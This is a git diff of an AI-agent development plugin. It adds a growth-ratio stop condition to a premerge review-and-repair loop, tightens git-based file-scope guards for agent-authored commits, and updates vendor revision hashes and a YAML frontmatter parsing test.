`--no-renames`, because rename detection reports only the NEW path and a scope # guard reading `--name-only` alone is bypassable by a rename -- a defect this # repo has already shipped once. Against `HEAD`, since nothing is staged yet, # and `-C "$PREMERGE_ROOT"` so the paths are repo-relative like the plan's are. -git -C "$PREMERGE_ROOT" diff --name-only --no-renames HEAD >"$PREMERGE_SCOPE_RAW" || exit 2 +# `core.quotePath=false` for the same byte-equality reason: the default C-quotes +# a non-ASCII path (`"caf\303\251.md"`) out of equality with the plan's raw +# UTF-8 -- a false stray here, and a GROWTH miss that outlives it in +# `fix-scope-.modified`. Via `GIT_CONFIG_*`, not `git -c`, so #693's +# exact-shape lock still matches. +GIT_CONFIG_COUNT=1 GIT_CONFIG_KEY_0=core.quotePath GIT_CONFIG_VALUE_0=false git -C "$PREMERGE_ROOT" diff --name-only --no-renames HEAD >"$PREMERGE_SCOPE_RAW" || exit 2 LC_ALL=C sort -u <"$PREMERGE_SCOPE_RAW" >"$PREMERGE_MODIFIED_LIST" || exit 2 PREMERGE_STRAY="$(LC_ALL=C comm -23 "$PREMERGE_MODIFIED_LIST" "$PREMERGE_ASSIGNED_LIST")" || exit 2 if [ -n "$PREMERGE_STRAY" ]; then @@ -947,6 +1027,8 @@ PREMERGE_PUSH_ERR="$(git push origin "$PREMERGE_BRANCH" 2>&1 1>/dev/null)" || { "$PREMERGE_ATTEMPT" "$PREMERGE_BRANCH" "$PREMERGE_PUSH_ERR" >&2 exit 2 } +# The durable publish: the next attempt's GROWTH reads `fix-scope-.modified`, so only a pushed repair may write it. +mv "$PREMERGE_MODIFIED_LIST" "$PREMERGE_RUN_DIR/fix-scope-$PREMERGE_ATTEMPT_PAD.modified" || exit 2 printf 'PREMERGE FIX COMMIT=%s ATTEMPT=%s\n' "$(git rev-parse HEAD)" "$PREMERGE_ATTEMPT" >&2 ``` @@ -1266,7 +1348,7 @@ exit 0 The fence prints one line and appends one row to `converge.jsonl`: ``` -PREMERGE_CONVERGE ATTEMPT= DECISION= BLOCKERS= PREV= FIXED= NEW= WAIT= MAXREPAIRS= REASONS= +PREMERGE_CONVERGE ATTEMPT= DECISION= BLOCKERS= PREV= FIXED= NEW= GROWTH=<0.00-1.00|-> WAIT= MAXREPAIRS= REASONS= ``` **Branch on `DECISION=`, never on the exit status.** `STOP_GREEN` — the outcome @@ -1283,23 +1365,99 @@ successfully converged stack as a broken one. | `CONTINUE` | something is still fixable and the last attempt changed something | repair (3c) → Phase 1 at attempt+1 | | `STOP_NO_PROGRESS` | an attempt changed neither the blockers nor the CI reason | **Phase 5, not green** | | `STOP_REGRESSED` | our own fixes grew the blocker set | **Phase 5, not green** | +| `STOP_SELF_REFERENTIAL` | two **eligible** rounds running (below), at least half the blockers were defects that did not exist before this loop's own repairs wrote them | **Phase 5, not green** | | `STOP_EXHAUSTED` | the runaway backstop | **Phase 5, not green** | | `STOP_UNREADABLE` | stale evidence, or CI that never settled | **Phase 5, not green** | -`STOP_NO_PROGRESS` and `STOP_REGRESSED` are the ones that matter. A counter alone -would stop a loop that was converging perfectly well *and* let three useless -attempts run; these two stop the moment repairing stops working, and they are -computed from blocker **fingerprints**, not from prose. +`STOP_NO_PROGRESS` and `STOP_REGRESSED` are the ones that matter: a counter alone would +stop a converging loop *and* let three useless attempts run, while these two stop the +moment repairing stops working — computed from blocker **fingerprints**, not prose. **Why a fingerprint and not `file:line`.** A fix moves lines — including in other -findings' hunks — so an identity keyed on the line reports every survivor as -brand new. The loop would see infinite progress and never stop. `lib/premerge-findings.py` -hashes `path` + a case-folded, punctuation-stripped `summary` instead, which is -stable across exactly the edits the loop makes. It is deliberately **not** either -fingerprint `findings-to-issues` computes. That agent keys a per-finding identity -on `file:line:summary` because a finding is about a location, and a per-ISSUE -identity on the owning file alone because an issue is now about a file. Same -width, three different questions. +findings' hunks — so an identity keyed on the line reports every survivor as brand new, +and the loop would see infinite progress and never stop. `lib/premerge-findings.py` +hashes `path` + a case-folded, punctuation-stripped `summary` instead, stable across +exactly the edits the loop makes. It is deliberately **not** either fingerprint +`findings-to-issues` computes: a per-finding identity on `file:line:summary` because a +finding is about a location, and a per-ISSUE identity on the owning file because an +issue is now about a file. Same width, three different questions. + +**The growth ratio, and why it is a different question.** `FIXED=` and `NEW=` compare +two fingerprint multisets; RFC 0021 A3 records what that cannot see. A critic asked +*"what is wrong with this?"* samples an **unbounded** set, so the two multisets are +independent draws from a generator, not two readings of one population: a blocker the +sampler did not roll counts `FIXED`, an always-present defect counts `NEW`, and +`findings == 0` is a property of the sample, never of the artifact. Find→fix→re-find +therefore has no fixed point; it runs until something outside says stop, and `GROWTH=` +asks what the fingerprints cannot: **of this attempt's reviewer-raised blockers, what +fraction did not exist last attempt AND sits in a file the last repair modified?** At +`1.00` the loop is reviewing what its own repairs wrote; stop, do not repair again. + +- **Denominator** — this attempt's **reviewer-raised** blockers in + `classified-.json` (`blocked_on_carry` rows excluded): the number printed as + `BLOCKERS=`. +- **Numerator** — those blockers whose `file` is in the previous attempt's + `fix-scope-.modified` and whose fingerprint the previous evidence did not carry. + That exclusion keeps a *survivor* out: the wave plan assigns exactly the files this + attempt's blockers named, so an uncleared finding is always in a touched file, and + counting it would stop a converging loop on its own success. The numerator is + therefore a strict subset of `NEW=`. +- **Both inputs are already on disk** in the run directory: nothing new is written, no + phase is added, and `converge` takes no new argument. + +**Two consecutive ELIGIBLE rounds, and never one.** `PREMERGE_GROWTH_CEILING` is +compared with `>=`, but one round at or above it changes no decision: the stop needs +`PREMERGE_GROWTH_RUNS` consecutive **eligible** rounds — measured, at or above the +ceiling, **and** not having cut the reviewer-raised blocker count +(`blockers >= previous_blockers`) — read off the previous attempt's own `converge.jsonl` +row, not a variable a fence could forget. That third test is why a run can print +`GROWTH=0.90` twice and not stop: a round that cut the count demonstrably repaired +something, whatever its residual is made of. Without it a measured 5 → 2 → 2 run read +`0.50` twice and stopped with three of five repair rounds unspent. A3 §2 makes attempt +N's blocker set a *fresh sample*: a defect present all along but first rolled at attempt +3 counts as new, and the files likeliest to be resampled are the ones the repair just +touched. One high round is therefore healthy concentrated convergence, and firing on it +would stop a loop that was working — the failure A3 C3 names outright. A real pump pays +one extra round every time: the deliberate price. **Do not reduce the requirement to a +single round, or eligibility to the ratio alone.** + +**Where it sits in the cascade.** The ratio is read after `STOP_NO_PROGRESS` — the +fingerprint detectors are sharper diagnoses and keep their place — and **before** +`STOP_EXHAUSTED`: "still winning, raise `--converge`" and "the loop was reviewing +itself" are opposite operator responses, and the budget stop says the first about a run +that did the second. + +`GROWTH=-` means *not measured*, not *zero*, and it has **five** causes: + +1. **attempt 1** — there is no predecessor to attribute anything to; +2. **a previous attempt that committed no edits**, so wrote no scope list — the + fix-commit fence's `REASON=no-edits` early exit, leaving nothing to blame this + round's findings on; +3. **a previous attempt repaired through the CI arm** — `arm=commit` makes real code + edits and pushes but publishes only `ci-scope-.*`, never + `fix-scope-.modified`. This is the one cause that switches the detector **off**: + such a loop never gets two consecutive eligible rounds, so `STOP_SELF_REFERENTIAL` is + unreachable until that fence publishes a scope of its own; +4. **no reviewer-raised blocker this attempt** — nothing to divide by; +5. **a scope list that *is* present but could not be read** — the only one of the five + that is a **fault** rather than an undefined ratio. It announces itself on **stderr** + as `premerge-findings: repair_scope_unreadable:` with the path, so `-` is the cue to + check stderr before reading the ratio as undefined. + +None of the five stops the loop, and none of them is `0.00`. Reading `-` as zero turns +*we did not look* into *we looked and it was fine*. + +**Deliberately the coarse proxy.** The precise question — did this finding land in text +the previous repair *wrote* — needs diff-hunk mapping nothing here produces (A3 C8: the +reviewer takes a PR, a branch or a path, not a two-SHA range). File membership counts a +new finding anywhere in a touched file, so it errs toward stopping, which the two-round +requirement absorbs. Do not build the hunk-mapping version to "fix" this; build it, if +ever, as the C1–C8 design A3 is waiting for. + +**The findings that trip it are not discarded.** `STOP_SELF_REFERENTIAL` is a not-green +stop, so Phase 5 runs with `PREMERGE_SURVIVORS=1` and `defer` gets `--include-blockers`: +every surviving blocker becomes an issue. The claim is "not *this loop's* work", never +"not work". ### 3c — Repair, by reason @@ -1534,10 +1692,9 @@ if [ -n "$PREMERGE_DIRTY" ]; then fi # ---- check 3: the scope comparison ---------------------------------------- -# Same shape as the Phase 2a scope guard, including the producer-then-sort split: -# `producer | sort -u >LIST || exit 2` binds the `||` to `sort`'s status and -# `sort` succeeds on empty input, so a failed producer reads as "changed -# nothing" and every later check passes over an empty set. +# Same shape as Phase 2a, producer-then-sort split included: `producer | sort -u +# >LIST || exit 2` binds `||` to `sort`, which succeeds on empty input -- a +# failed producer reads as "changed nothing" and later checks pass an empty set. PREMERGE_CI_RAW="$PREMERGE_RUN_DIR/ci-scope-$PREMERGE_ATTEMPT_PAD.raw" case "$PREMERGE_CI_ARM" in commit) @@ -1552,13 +1709,11 @@ case "$PREMERGE_CI_ARM" in fi PREMERGE_CI_ALLOWED="$PREMERGE_RUN_DIR/ci-scope-$PREMERGE_ATTEMPT_PAD.sorted" PREMERGE_CI_CHANGED="$PREMERGE_RUN_DIR/ci-scope-$PREMERGE_ATTEMPT_PAD.changed" - # `LC_ALL=C` on the sort/comm trio for the same reason the fix-commit guard - # pins it: this compares paths as bytes, and a sort/comm collation - # disagreement reports a file present in both lists as a stray. + # `LC_ALL=C` on the sort/comm trio, for the reason the fix-commit guard + # gives: this compares paths as bytes, and collation drift invents strays. LC_ALL=C sort -u <"$PREMERGE_CI_SCOPE" >"$PREMERGE_CI_ALLOWED" || exit 2 - # `--no-renames`, because rename detection reports only the NEW path and a - # scope guard reading `--name-only` alone is bypassable by a rename. - git -C "$PREMERGE_ROOT" diff --name-only --no-renames "$PREMERGE_CI_BEFORE" HEAD >"$PREMERGE_CI_RAW" || exit 2 + # `--no-renames` and `core.quotePath=false`: exactly as the Phase 2a guard sets them, for its reasons. + GIT_CONFIG_COUNT=1 GIT_CONFIG_KEY_0=core.quotePath GIT_CONFIG_VALUE_0=false git -C "$PREMERGE_ROOT" diff --name-only --no-renames "$PREMERGE_CI_BEFORE" HEAD >"$PREMERGE_CI_RAW" || exit 2 LC_ALL=C sort -u <"$PREMERGE_CI_RAW" >"$PREMERGE_CI_CHANGED" || exit 2 if [ ! -s "$PREMERGE_CI_CHANGED" ]; then printf 'PREMERGE CI PUBLISH=none REASON=no-edits ARM=commit ATTEMPT=%s\n' "$PREMERGE_ATTEMPT" >&2 @@ -1811,9 +1966,8 @@ PREMERGE_SIMPLIFY_ALLOWED="$PREMERGE_RUN_DIR/simplify-scope-$PREMERGE_ATTEMPT_PA PREMERGE_SIMPLIFY_RAW="$PREMERGE_RUN_DIR/simplify-scope-$PREMERGE_ATTEMPT_PAD.raw" PREMERGE_SIMPLIFY_MODIFIED="$PREMERGE_RUN_DIR/simplify-scope-$PREMERGE_ATTEMPT_PAD.modified" LC_ALL=C sort -u <"$PREMERGE_SIMPLIFY_SCOPE" >"$PREMERGE_SIMPLIFY_ALLOWED" || exit 2 -# `--no-renames`: rename detection reports only the NEW path, and a scope guard -# reading `--name-only` alone is bypassable by a rename. -git -C "$PREMERGE_ROOT" diff --name-only --no-renames HEAD >"$PREMERGE_SIMPLIFY_RAW" || exit 2 +# `--no-renames` and `core.quotePath=false`: exactly as the Phase 2a guard sets them, for its reasons. +GIT_CONFIG_COUNT=1 GIT_CONFIG_KEY_0=core.quotePath GIT_CONFIG_VALUE_0=false git -C "$PREMERGE_ROOT" diff --name-only --no-renames HEAD >"$PREMERGE_SIMPLIFY_RAW" || exit 2 LC_ALL=C sort -u <"$PREMERGE_SIMPLIFY_RAW" >"$PREMERGE_SIMPLIFY_MODIFIED" || exit 2 PREMERGE_SIMPLIFY_STRAY="$(LC_ALL=C comm -23 "$PREMERGE_SIMPLIFY_MODIFIED" "$PREMERGE_SIMPLIFY_ALLOWED")" || exit 2 if [ -n "$PREMERGE_SIMPLIFY_STRAY" ]; then @@ -2256,9 +2410,9 @@ Print the run summary and **stop**: packed #A #B #C (base: , branch: chore/stack-) excluded #D (conflict_unresolved) review — findings ( category-backed) - converge / attempts — STOP_GREEN | STOP_NO_PROGRESS | … - attempt 1: blockers, ci=red → fixed , class=code_bug - attempt 2: blockers, ci=green → fixed + converge / attempts — STOP_GREEN | STOP_NO_PROGRESS | STOP_SELF_REFERENTIAL | … + attempt 1: blockers, ci=red → fixed , growth=-, class=code_bug + attempt 2: blockers, ci=green → fixed , growth=0.20 blockers found / fixed / surviving ci before simplify / after clean gate green | not_green () @@ -2280,6 +2434,15 @@ STOP_NO_PROGRESS" and "3/3 attempts, STOP_EXHAUSTED" call for opposite next move the loop was still winning and `--converge=5` would probably finish it. A summary that collapses both to `not_green` withholds the one thing the operator needs. +**Every attempt's row carries its `growth=`**, transcribed from that attempt's +`converge.jsonl` row, because "it was still converging" and "it was reviewing +its own output" call for opposite operator responses in exactly the way +`STOP_NO_PROGRESS` and `STOP_EXHAUSTED` do. A run that ends `STOP_EXHAUSTED` +with `growth=0.10` on every attempt wants a bigger `--converge`; the same stop +with `growth=0.90` wants a smaller stack and a lower level. Print `growth=-` +unchanged where the ledger row carries none — it means the ratio was not +measured, and rendering it as `0.00` would invent a measurement. + The trace is `converge.jsonl` — one row per decision, append-only, in the run directory. `CATEGORY_BACKED` still belongs in the review row: it says how much of the blocker/suggestion split rested on a machine-checked signal, and under a loop diff --git a/plugins/uberdev/skills/premerge-pipeline/references/common-mistakes.md b/plugins/uberdev/skills/premerge-pipeline/references/common-mistakes.md index 42475511..0f39f6ce 100644 --- a/plugins/uberdev/skills/premerge-pipeline/references/common-mistakes.md +++ b/plugins/uberdev/skills/premerge-pipeline/references/common-mistakes.md @@ -24,10 +24,93 @@ loudly rather than silently converging on nothing. See `## The order within one attempt`. **Bounding the loop with the counter alone.** `--converge=3` is a runaway -backstop, not the stop condition. The stop conditions are `STOP_NO_PROGRESS` and -`STOP_REGRESSED`, and deleting them to "simplify" the loop restores exactly the -hazard RFC 0021 refused a loop over: three attempts that achieve nothing, the -third of which quietly edits a test. +backstop, not the stop condition. The stop conditions are `STOP_NO_PROGRESS`, +`STOP_REGRESSED` and `STOP_SELF_REFERENTIAL`, and deleting them to "simplify" the +loop restores exactly the hazard RFC 0021 refused a loop over: three attempts +that achieve nothing, the third of which quietly edits a test. + +**Terminating the loop on the reviewer going quiet.** A critic asked *what is +wrong with this?* samples from an unbounded set, so an attempt that returns no +blockers is a property of that sample and never of the stack. Find → fix → +re-find therefore has no fixed point to reach, which is why a round counter ends +up doing the stop condition's job. `GROWTH=` is the substitute: the fraction of +an attempt's blockers that are new **and** sit in a file the previous attempt's +repair modified — work this loop made for itself. At `1.00` the loop is reviewing +its own output, and the response to that is to stop, not to repair again. + +**Reading `GROWTH=-` as `GROWTH=0.00`.** The dash means the ratio was not +measured, and five things produce it: (1) attempt 1, which has no previous repair +to attribute anything to; (2) a previous attempt that committed no edits, so the +commit fence exited `REASON=no-edits` and wrote no `fix-scope-.modified`; +(3) a previous attempt that repaired through the Phase 3 CI arm, which pushes +real code edits but publishes `ci-scope-.*` and no scope list this +measurement reads — the one cause that makes the stop unreachable, and the +subject of *Reading "the round is not measured"…* below; (4) an attempt with no +**reviewer-raised** blocker to divide by, which includes one holding only +`blocked_on_carry` rows, since a carried row counts on neither side; and (5) a +scope file that is present but could not be read. Only the fifth is a fault, and +it is the one an operator otherwise misses: it announces itself as +`premerge-findings: repair_scope_unreadable:` on stderr and nowhere else, so a +`-` on the line is a reason to go and check stderr, not only to note that the +ratio was undefined. `0.00` by contrast IS a measurement — the previous repair +authored none of this round's findings, the healthiest reading the signal has. +Collapsing the two turns "we did not look" into "we looked and it was fine", in +the run summary an operator reads to decide whether to raise `--converge` or cut +the stack down. + +**Raising `--converge` on a run that stopped `STOP_SELF_REFERENTIAL`.** That stop +pre-empts `STOP_EXHAUSTED` on purpose, because the two call for opposite moves: +the budget stop says a loop that was still winning ran out of rounds, and the +self-referential stop says more rounds would only enlarge the loop's own +haystack. Cut the stack down or lower the review level instead. Nothing is lost +either way — it is a not-green stop, so Phase 5 runs with `PREMERGE_SURVIVORS=1` +and files every surviving blocker as an issue. The claim is "not *this loop's* +work", never "not work". + +**Firing the growth stop on a single round — or on the ratio alone.** Two ways of +under-counting the same test, and both stop loops that were working. A round is +**eligible** on **three** conditions, not one: `GROWTH=` is measured, it is at or +above `PREMERGE_GROWTH_CEILING`, **and** the round did not reduce the +reviewer-raised blocker count (`blockers >= previous_blockers`, read off the +previous attempt's own `converge.jsonl` row rather than a variable a fence could +forget). Then `PREMERGE_GROWTH_RUNS` consecutive rounds must clear all three. +The third condition is not decoration: `GROWTH=` answers what the residual is +made **of**, never which way the run is going, and since the denominator shrinks +as the loop succeeds while the reviewer keeps resampling the file the repair just +touched, the ratio RISES toward `1.00` exactly as a run converges. Shipped +without it, a measured 5 → 2 → 2 run read `0.50` twice and stopped with three of +its five repair rounds unspent. The second round is not timidity either — every +attempt's blocker set is a fresh sample of an unbounded generator, so one high +round is equally consistent with a convergence whose repairs happen to be +concentrated in a few files. RFC 0021 A3 records that stopping such a loop, not a +detector falling silent, is the real failure mode; a run log showing `GROWTH=0.90` +twice and no stop is the count condition doing its job, not the detector failing. + +**Making the growth ratio precise before making it used.** File-level membership +over-counts: a new finding anywhere in a touched file counts as growth. It is a +signal, not a proof, and that is deliberate — it is also why the stop needs two +consecutive eligible rounds rather than one. The precise version needs diff-hunk +mapping against a review pointed at one repair's delta, and RFC 0021 A3 C8 records +that no such dispatch exists yet — building it here would replace a working coarse +signal with a keystone nothing can invoke. + +**Reading "the round is not measured" as "the round repaired nothing".** The one +inference that is worth more than the ratio's precision, because it is the case +where the detector is switched **off** rather than merely coarse. +`_repair_scope_path` opens `fix-scope-.modified` and nothing else, so a +*present, pushed, genuinely code-changing* repair still reads as no scope if it +published under another name — and one arm does exactly that. Phase 3's CI fence +on `arm=commit` dispatches `ci-code-fixer`, compares its diff against +`ci-scope-.allowed`, pushes, and publishes `ci-scope-.*` only. The next +attempt therefore prints `GROWTH=-` and is not eligible, and a loop that keeps +repairing through that arm can never accumulate two consecutive eligible rounds: +`STOP_SELF_REFERENTIAL` is structurally **unreachable** for it. Not hypothetical +— the run that surfaced this took that path at attempt 1. Nor is it closable from +the findings side: `ci-scope-.changed` is written before the scope comparison +and before the push, and attributing a round's findings to edits that may never +have left the machine trades one wrong measurement for another. The half that +closes it is a durable publish in the CI fence itself — SKILL.md, not the library +— and until that lands, `-` is the honest report and it stops nothing. **Reading `converge`'s exit status as success or failure.** `STOP_GREEN` exits 1. 1 means "stop", 0 means "go round again". Branch on `DECISION=`. @@ -79,6 +162,30 @@ puts agent-authored commits on the stack PR unexamined. **Two agents in one wave sharing a file.** `_fix_waves` groups by path so this cannot happen — do not "optimise" it into one-agent-per-finding. +**Adding a `blocked_on_file` path straight to the commit fence's allowed set.** +The smallest possible diff, and wrong twice over. The fence derives the +committable set from `fix-waves-.json` and nothing else, which is what keeps +"committable" and "owned by exactly one agent" the same set. A path in the +allowed list with no wave entry is committable while nobody owns it, and +`_fix_waves` never grouped it, so the disjointness above says nothing about the +two next-wave agents that may now both edit it against the one worktree those +waves share with no isolation. Worse, the wave plan is also what DISPATCHES the +fixers, so a `blocked_on_file` path that reached only the allowed list is edited +by nobody: the cross-file consequence survives the round untouched — the very +failure the widening was reaching for. The paths go through `_fix_waves` as +synthesised blocker findings, never around it. + +**Unioning `blocked_on_file` across every earlier attempt.** The sibling in the +same file invites it — `_carry_prior_suggestions` walks `range(1, attempt)` — +and copying that shape reads as consistency. It is correct there because a +suggestion is never fixed and must not be lost. A blocked-on path is the +opposite: it WIDENS what a fixer may edit, so a union over every earlier attempt +only ever grows, and the repair budget runs to `PREMERGE_REPAIR_CEILING` rounds +— a set that grows every round is no longer a guard by the last of them. Exactly +one predecessor: `plan --carry-blocked` opens `blocked-on-.json` by name, +never a range, and what survives validation is capped at +`PREMERGE_MAX_BLOCKED_ON`. + **Trusting "Edit ONLY ``" because the prompt says it.** The prompt is the instruction; the commit fence's scope check is the enforcement. `git add -u` stages every tracked modification in the tree, so without that comparison diff --git a/plugins/uberdev/skills/testers-pipeline/workflow.js b/plugins/uberdev/skills/testers-pipeline/workflow.js index 0a91da93..1a5b754a 100644 --- a/plugins/uberdev/skills/testers-pipeline/workflow.js +++ b/plugins/uberdev/skills/testers-pipeline/workflow.js @@ -257,7 +257,7 @@ const S = { }; // Common preamble every persona Bash call needs: the executable rl-curl shim -// invoked as a SINGLE command word (persona allowed-tools carry +// invoked as a SINGLE command word (persona tools: lists carry // Bash(*/lib/rl-curl*); a compound export/source form matches no allowlist // pattern). RATE_STATE_DIR / RPS_CAP are injected PER CALL via long options — // never ambient env (the preflight fence's exports never reach a persona). diff --git a/plugins/uberdev/skills/ubersimplify-pipeline/SKILL.md b/plugins/uberdev/skills/ubersimplify-pipeline/SKILL.md index 8e0f1110..1803e64b 100644 --- a/plugins/uberdev/skills/ubersimplify-pipeline/SKILL.md +++ b/plugins/uberdev/skills/ubersimplify-pipeline/SKILL.md @@ -1,6 +1,6 @@ --- name: ubersimplify-pipeline -description: Use when /uberdev:ubersimplify is invoked. Whole-codebase 3-lens simplification — packs the repo into a fixed fleet of byte-balanced areas (default 8, shared lib/chunk.py), audits each area with ONE multi-lens code-simplifier (Reuse/Quality/Efficiency), applies preserve-behavior fixes via code-fixer as one refactor: commit per area on a shared branch, opens ONE PR, and files leftover blocker findings as GitHub issues. --audit-only is read-only. The orchestration runs in the shared scan-fleet Workflow (skills/scan-fleet/workflow.js, mode=simplify); this skill is the thin preflight + args seam. +description: "Use when /uberdev:ubersimplify is invoked. Whole-codebase 3-lens simplification — packs the repo into a fixed fleet of byte-balanced areas (default 8, shared lib/chunk.py), audits each area with ONE multi-lens code-simplifier (Reuse/Quality/Efficiency), applies preserve-behavior fixes via code-fixer as one refactor: commit per area on a shared branch, opens ONE PR, and files leftover blocker findings as GitHub issues. --audit-only is read-only. The orchestration runs in the shared scan-fleet Workflow (skills/scan-fleet/workflow.js, mode=simplify); this skill is the thin preflight + args seam." model: inherit --- diff --git a/plugins/uberdev/vendor.json b/plugins/uberdev/vendor.json index 74e4dba0..88224b0c 100644 --- a/plugins/uberdev/vendor.json +++ b/plugins/uberdev/vendor.json @@ -911,7 +911,7 @@ "measured_diff_basis": { "upstream_rev": "4ca561fb8532594e7a5faef945e85096fcec0616", "upstream_tree": "anthropics/claude-plugins-official blob 462f2e01b89e6339994c071c765dcb4dd380c869 \u2014 the single-file artifact base_evidence records for code-reviewer.md, re-derivable offline from this repository at base_evidence.vendored_ref", - "uberdev_rev": "b7dbe74a36bbc4ff02bc364f0ae554f1c9800872", + "uberdev_rev": "aa3e54cd611b2221623b476754867e1565c5eb61", "measured_on": "2026-08-23", "method": "diff of upstream blob 462f2e01b89e6339994c071c765dcb4dd380c869 (the base named in vendored_at_commit) against the shipped bytes INCLUDING this component's provenance header, counting both < and > lines" }, @@ -946,7 +946,7 @@ "measured_diff_basis": { "upstream_rev": "ceb9b72b4c4c20ad39efce780edd0aabe80ebce3", "upstream_tree": "anthropics/claude-plugins-official blob 05e361b4ef1b688203251989707f8a924a9ed266 \u2014 the single-file artifact base_evidence records for code-simplifier.md, re-derivable offline from this repository at base_evidence.vendored_ref", - "uberdev_rev": "b7dbe74a36bbc4ff02bc364f0ae554f1c9800872", + "uberdev_rev": "aa3e54cd611b2221623b476754867e1565c5eb61", "measured_on": "2026-08-23", "method": "diff of upstream blob 05e361b4ef1b688203251989707f8a924a9ed266 (the base named in vendored_at_commit) against the shipped bytes INCLUDING this component's provenance header, counting both < and > lines" }, @@ -991,7 +991,7 @@ "measured_diff_basis": { "upstream_rev": "4ca561fb8532594e7a5faef945e85096fcec0616", "upstream_tree": "anthropics/claude-plugins-official blob e214620a3fa348c550bfca1f8d23ceaec39bfe57 \u2014 the single-file artifact base_evidence records for comment-analyzer.md, re-derivable offline from this repository at base_evidence.vendored_ref", - "uberdev_rev": "b7dbe74a36bbc4ff02bc364f0ae554f1c9800872", + "uberdev_rev": "aa3e54cd611b2221623b476754867e1565c5eb61", "measured_on": "2026-08-23", "method": "diff of upstream blob e214620a3fa348c550bfca1f8d23ceaec39bfe57 (the base named in vendored_at_commit) against the shipped bytes INCLUDING this component's provenance header, counting both < and > lines" }, @@ -1076,7 +1076,7 @@ "measured_diff_basis": { "upstream_rev": "4ca561fb8532594e7a5faef945e85096fcec0616", "upstream_tree": "anthropics/claude-plugins-official blob 9b2de05b90e74f828e58a8874ed17f6eb9372db3 \u2014 the single-file artifact base_evidence records for pr-test-analyzer.md, re-derivable offline from this repository at base_evidence.vendored_ref", - "uberdev_rev": "b7dbe74a36bbc4ff02bc364f0ae554f1c9800872", + "uberdev_rev": "aa3e54cd611b2221623b476754867e1565c5eb61", "measured_on": "2026-08-23", "method": "diff of upstream blob 9b2de05b90e74f828e58a8874ed17f6eb9372db3 (the base named in vendored_at_commit) against the shipped bytes INCLUDING this component's provenance header, counting both < and > lines" }, @@ -1141,7 +1141,7 @@ "measured_diff_basis": { "upstream_rev": "4ca561fb8532594e7a5faef945e85096fcec0616", "upstream_tree": "anthropics/claude-plugins-official blob b8a8dfa41e18ef6ac801ae64be38b2508aa04f44 \u2014 the single-file artifact base_evidence records for silent-failure-hunter.md, re-derivable offline from this repository at base_evidence.vendored_ref", - "uberdev_rev": "b7dbe74a36bbc4ff02bc364f0ae554f1c9800872", + "uberdev_rev": "aa3e54cd611b2221623b476754867e1565c5eb61", "measured_on": "2026-08-23", "method": "diff of upstream blob b8a8dfa41e18ef6ac801ae64be38b2508aa04f44 (the base named in vendored_at_commit) against the shipped bytes INCLUDING this component's provenance header, counting both < and > lines" }, @@ -1246,7 +1246,7 @@ "measured_diff_basis": { "upstream_rev": "4ca561fb8532594e7a5faef945e85096fcec0616", "upstream_tree": "anthropics/claude-plugins-official blob f720f0fcec856560cdddb6b030ac7e64af159438 \u2014 the single-file artifact base_evidence records for type-design-analyzer.md, re-derivable offline from this repository at base_evidence.vendored_ref", - "uberdev_rev": "b7dbe74a36bbc4ff02bc364f0ae554f1c9800872", + "uberdev_rev": "aa3e54cd611b2221623b476754867e1565c5eb61", "measured_on": "2026-08-23", "method": "diff of upstream blob f720f0fcec856560cdddb6b030ac7e64af159438 (the base named in vendored_at_commit) against the shipped bytes INCLUDING this component's provenance header, counting both < and > lines" }, diff --git a/tests/agent-description-budget.test.sh b/tests/agent-description-budget.test.sh index f8f011a2..99c282ff 100644 --- a/tests/agent-description-budget.test.sh +++ b/tests/agent-description-budget.test.sh @@ -1,5 +1,12 @@ #!/usr/bin/env bash -# tests/agent-description-budget.test.sh — issue #746. +# tests/agent-description-budget.test.sh — issues #746 and #744. +# +# TWO INVARIANTS LIVE HERE, and the file name only names the second. A1/A5 are +# the STRICT-PARSE gate over every frontmatter surface the plugin ships (#744); +# A0/A2/A3/A4 are the always-resident agent `description` budget (#746). They +# share a file because A1 is the budget's enabling assert — a description that +# does not parse cannot be measured — and because the strict parse needs PyYAML, +# which this fixture is already declared Unix-only for. # # An agent's `description` frontmatter is the ONE part of the agent that is # resident in the system prompt of every session, whether or not the agent ever @@ -17,16 +24,52 @@ # the model to a certain exploration space — a one-line specialty statement # routes at least as well on a Claude 5 model. # -# FOUR SUBJECTS, in the order a regression would arrive: +# SIX SUBJECTS, in the order a regression would arrive: # -# A1 every agent's frontmatter parses under a STRICT YAML loader. +# A1 every SHIPPED frontmatter block parses under a STRICT YAML loader — +# agents/*.md, skills/*/SKILL.md AND commands/*.md. # This is the enabling assert, not a nicety: 8 of 47 agents at the #746 # baseline did NOT parse (the `` blocks embed `Context: ` / # `user: ` / `assistant: ` — bare colon-space inside a plain scalar — and # `ci-code-fixer` embedded `fix(ci): `). A strict consumer drops the whole -# mapping, taking `name`, `model` and `description` with it. It is the -# same class as #744, and A2-A4 cannot measure a description they cannot -# parse, so this row runs first. +# mapping, taking `name`, `model` and `description` with it. A2-A4 cannot +# measure a description they cannot parse, so this row runs first. +# +# #744 WIDENED THE CORPUS FROM AGENTS TO EVERY FRONTMATTER SURFACE. The +# #746 row named the skill half as "the same class" and then scoped +# itself to agents, so the class stayed live one directory over: +# `skills/ubersimplify-pipeline/SKILL.md` shipped a `description:` plain +# scalar carrying a second `": "` (`… as one refactor: commit per area +# …`) at line 3 column 330, and PyYAML refused the whole mapping with +# `mapping values are not allowed here`. The visible consequence was that +# its `model: inherit` never applied. Nothing warned: a SKILL.md with +# unparseable frontmatter still loads, the name silently falls back to +# the directory name and the description to the first line of the body, +# so a dropped field is indistinguishable from a working skill by eye. +# That is precisely why the guard has to EXECUTE a parser rather than +# grep for the field — `grep '^model: inherit'` matched the whole time. +# +# Commands are swept for the same reason and at no extra cost: they are +# the third frontmatter surface the plugin ships, and #744's own sweep is +# only meaningful if it covers every place the defect can hide. +# +# This is also why this fixture, and not tests/skill-size.test.sh, owns +# the skill half. skill-size is the skills-corpus shape gate, but it is +# deliberately `bash + find + wc + sort` and runs on BOTH the ubuntu and +# the windows jobs; a strict parse needs PyYAML, which is not importable +# on windows-latest, so hosting it there would have cost the size ratchet +# its Windows coverage. This file is already declared Unix-only for that +# exact dependency, so the row lands here for free. +# +# A1b every parsed block still CARRIES the fields its surface cannot work +# without. A1 proves the mapping survived; it does not prove anything is +# in it. Both halves are needed because both fail OPEN in the same way — +# a consumer substitutes a fallback (the directory name for `name`, the +# first body line for `description`) and warns about neither, so a file +# missing a field is indistinguishable by eye from one that has it. +# Required set is per-surface and encoded honestly: commands are keyed by +# FILENAME and none of the 18 carry a `name:`, so demanding one there +# would red 18 files for following the format correctly. # # A2 no `description` may carry an `` block. This is the exact # regression #746 removed. It is a WRONGNESS predicate, not a taste one: @@ -42,10 +85,24 @@ # 